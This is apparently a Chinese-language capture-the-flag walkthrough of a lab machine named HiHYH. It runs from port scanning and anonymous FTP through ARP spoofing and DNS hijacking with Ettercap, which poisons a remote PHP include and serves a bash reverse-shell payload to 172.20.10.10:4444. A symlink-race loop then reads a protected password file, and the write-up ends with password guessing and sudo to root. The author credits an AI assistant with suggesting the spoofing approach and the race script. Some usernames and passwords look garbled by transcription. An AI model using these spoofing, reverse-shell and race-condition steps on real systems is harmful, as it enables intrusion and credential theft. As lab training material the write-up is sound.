

靶机: HiHYH
作者: 111 (QQ: 3042337610)
靶机ID: 627
系统: Linux
难度: Medium

ip/端口扫描

```
云信 动作 编辑 查看 帮助
(root@kali)-[~]
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:32:0f:3e, IPv4: 172.20.10.10
Starting arp-scan 1.10.0 with 16 hosts (https://github.com/royhills/arp-scan)
172.20.10.2    1c:ce:51:5d:c9:c8    (Unknown)
172.20.10.1    92:4c:c5:a6:86:64    (Unknown: locally administered)
172.20.10.3    08:00:27:cc:2f:0a    PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 16 hosts scanned in 1.488 seconds (10.75 hosts/sec). 3 responded

(root@kali)-[~]
# nmap -p- 172.20.10.3
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-07 12:48 -0400
Nmap scan report for 172.20.10.3
Host is up (0.00010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:CC:2F:0A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
```

Figure 1

80端口

查看了界面和源代码没有找到任何可用的信息，随后尝试了匿名登录

```
← → ↻ ⚠ 不安全 172.20.10.3

<?php
highlight_file(__FILE__);
@include"http://hyh.maze-sec.com/";
```

Figure 2

```
← → ↻ ⚠ 不安全 view-source:172.20.10.3 ☆ 100
自动换行 ☐
1 <pre><code style="color: #000000"><span style="color: #0000BB">&lt;?php
2 highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);
3 @include</span><span style="color: #DD0000">"http://hyh.maze-sec.com/"</span><span style="color: #007700">;
4 </span></code></pre>
```

Figure 3

匿名登录

匿名登录找到俩文件，motto.txt和pass.txt，仅第一个文件可下载

```
(root@kali)-[~]
# ftp 172.20.10.3
Connected to 172.20.10.3.
220 (vsFTPd 3.0.3)
Name (172.20.10.3:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful. (|||||) started
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (||||30004|)
150 Here comes the directory listing.
drwxr-xr-x  3 0 0 4096 Apr 05 09:33 .
drwxr-xr-x  3 0 0 4096 Apr 05 09:33 ..
drwxr-xr-x  2 0 0 4096 Apr 07 03:58 pub
226 Directory send OK.
ftp> cd /pub
250 Directory successfully changed.
ftp> ls -al
229 Entering Extended Passive Mode (||||30004|)
150 Here comes the directory listing.
drwxr-xr-x  2 0 0 4096 Apr 07 03:58 .
drwxr-xr-x  3 0 0 4096 Apr 05 09:33 ..
-rw-r--r--  1 0 0 140 Apr 05 09:33 motto.txt
-rw-r--r--  1 1001 1001 75 Apr 07 03:58 pass.txt
226 Directory send OK.
ftp> get motto.txt
local: motto.txt remote: motto.txt
229 Entering Extended Passive Mode (||||30002|)
150 Opening BINARY mode data connection for motto.txt (140 bytes).
100% |*****| 140 1.90 MiB/s 00:00 ETA
226 Transfer complete.
140 bytes received in 00:00 (212.62 KiB/s)
ftp> get pass.txt
local: pass.txt remote: pass.txt
229 Entering Extended Passive Mode (||||30001|)
550 Failed to open file.
ftp> exit
```

Figure 4

读取motto.txt内容

```
(root@kali)-[~]
# cat motto.txt
失去的终究会失去吧，想念的终究会相遇吧。
What you lose will eventually be lost, and what you miss will eventually meet.
```

Figure 5

至此并没任何头绪了，然后就是对ai的一顿拷打，提供了，ARP 欺骗 结合 DNS 劫持，并用Ettercap 攻击

编辑 Ettercap 的 DNS 配置文件

在末尾添加: `hyh.maze-sec.com A 172.20.10.10` 和 `*.maze-sec.com A 172.20.10.10`

```
# ettercap -- etter.dns -- host file for dns_spoof plugin
# Copyright (c) ALOR & NaGA
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Sample hosts file for dns_spoof plugin
# the format is (for A query):
# www.myhostname.com A 168.11.22.33 3600
# *.foo.com A 168.44.55.66 [optional TTL]
#
# .. for a AAAA query (same hostname allowed):
# www.myhostname.com AAAA 2001:db8::1
# *.foo.com AAAA 2001:db8::2 [optional TTL]
#
# or to skip a protocol family (useful with dual-stack):
# www.hotmail.com AAAA ::
# www.yahoo.com A 0.0.0.0
#
# or for PTR query:
# www.bar.com PTR 10.0.0.10 [TTL]
# www.google.com PTR ::1 [TTL]
#
# or for MX query (either IPv4 or IPv6):
# domain.com MX xxx.xxx.xxx.xxx [TTL]
# domain2.com MX xxxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx
# domain3.com MX xxxxx:xxxx::y
#
# or for WINS query:
# workgroup WINS 127.0.0.1 [TTL]
# PC* WINS 127.0.0.1
#
# or for SRV query (either IPv4 or IPv6):
# service._tcp._udp.domain SRV 192.168.1.10:port [TTL]
# service._tcp._udp.domain SRV [2001:db8::3]:port
#
# or for TXT query (value must be wrapped in double quotes):
# google.com TXT "v=spf1 ip4:192.168.0.3/32 ~all" [TTL]
#
# NOTE: the wildcarded hosts can't be used to poison the PTR requests
# so if you want to reverse poison you have to specify a plain
# host. (look at the www.microsoft.com example)
#
# NOTE: wildcard names should be defined first otherwise they will shadow
# the more specific names of the same domain.
#
# NOTE: Default DNS TTL is 3600s (1 hour). All TTL fields are optional.
#
# NOTE: IPv6 specific do not work because ettercap has been built without
# IPv6 support. Therefore the IPv6 specific examples has been
# commented out to avoid ettercap throwing warnings during startup.
#
# vim:ts=8:noexpandtab
hyh.maze-sec.com A 172.20.10.10
*.maze-sec.com A 172.20.10.10
```

Figure 6

启动劫持:

```
ettercap -T -q -P dns_spoof -M arp:remote /172.20.10.3// /172.20.10.1//
```

准备恶意 PHP 脚本:

```
<?php
echo '<?php system("bash -c \'bash -i >& /dev/tcp/172.20.10.10/4444 0>&1\'"); ?>';
?>
```

目的: 建立监听反弹shell

随后开启http服务

```
python3 -m http.server 80/php -s 0.0.0.0:80
```

随后另开两个端口, 一个开启监听等待反弹shell, 另一个访问靶机地址触发反弹

访问后成功反弹shell, 拿到user的flag

```
(root@kali)-[/home/kali/test]
# curl http://172.20.10.3/

(root@kali)-[/home/kali/test]
# nc -lvp 4444
listening on [any] 4444 ...
connect to [172.20.10.10] from (UNKNOWN) [172.20.10.3] 36184
bash: cannot set terminal process group (432): Inappropriate ioctl for device
bash: no job control in this shell
www-data@HiHYH:/var/www/html$ find / -name "user.txt" 2>/dev/null
find / -name "user.txt" 2>/dev/null
/home/hyh/user.txt
www-data@HiHYH:/var/www/html$ cat /home/hyh/user.txt
cat /home/hyh/user.txt
flag{user-3e813e575a6e4b5fb7cf3a479b1ac423}
www-data@HiHYH:/var/www/html$
```

Figure 7

进过一番目录搜寻没找到线索，便查看了系统的定时任务，这里面也没可用的信息

```
www-data@HiHYH:/home$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/
cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/
cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/
cron.monthly )
```

Figure 8

针对hyh用查看定时任务，找到了线索，这是一个系统级定时任务，位于 /etc/cron.d/hyh，其中* * * * *意味着每一分进行一次，timeout 30s: 每次运行只持续 30 秒

```
www-data@HiHYH:/home$ grep -r "hyh" /etc/cron.d/
grep -r "hyh" /etc/cron.d/
/etc/cron.d/hyh:* * * * * hyh /bin/bash -c '/usr/bin/timeout 30s /usr/bin/python3 -m
http.server 8080 --bind 127.0.0.1 --directory /var/tmp'
```

因为匿名登录的时候pass.txt不可下载，所以在这里尝试读取，在各种payload的尝试中，ai给出了最准确的一份

```
(while true; do ln -snf /srv/ftp/pub /var/tmp/hyh 2>/dev/null; sleep 0.1; done) &
L_PID=$!; echo "侦听中..."; while true; do res=$(python3 -c "import urllib.request;
print(urllib.request.urlopen('http://127.0.0.1:8080/hyh/pass.txt',
timeout=0.5).read().decode())" 2>/dev/null); if [ -n "$res" ]; then echo -e "\n[!]
抓取成功! 密码如下:\n$res"; kill $L_PID; break; fi; echo -n "."; sleep 1; done
```

成功得到了hyh的完整密码和11104567的密码提示

```
[!] 抓取成功！密码如下：
hyh:HYH4Rly9UF3vwJq+xK1F53JYaMM
# ll104567 password pattern
hint:^ma....$
```

Figure 9

ll用户密码的来源，纯属于猜测，密码猜测如下：

ma1110

ma4567

ma1045

也尝试了跑脚本，ma+四位数字，也是无果，最后在流量群公告的时候看到了网址maze-sec.com

尝试了masese，但是给sec拆开了，于是想到了11104567这个用户名，随后尝试了mazel1，发现真的成功了

进行ssh连接得到root的flag

```
(root@kali)~[~]
# ssh ll104567@172.20.10.3
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ll104567@172.20.10.3's password:
Linux HiHYH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ll104567@HiHYH:~$ sudo -l
[sudo] password for ll104567:
Matching Defaults entries for ll104567 on HiHYH:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ll104567 may run the following commands on HiHYH:
    (ALL : ALL) ALL
ll104567@HiHYH:~$ sudo -i
root@HiHYH:~# cat /root/root.txt
flag{root-a7144840e24342b1a075a4a31405452f}
root@HiHYH:~#
```

Figure 10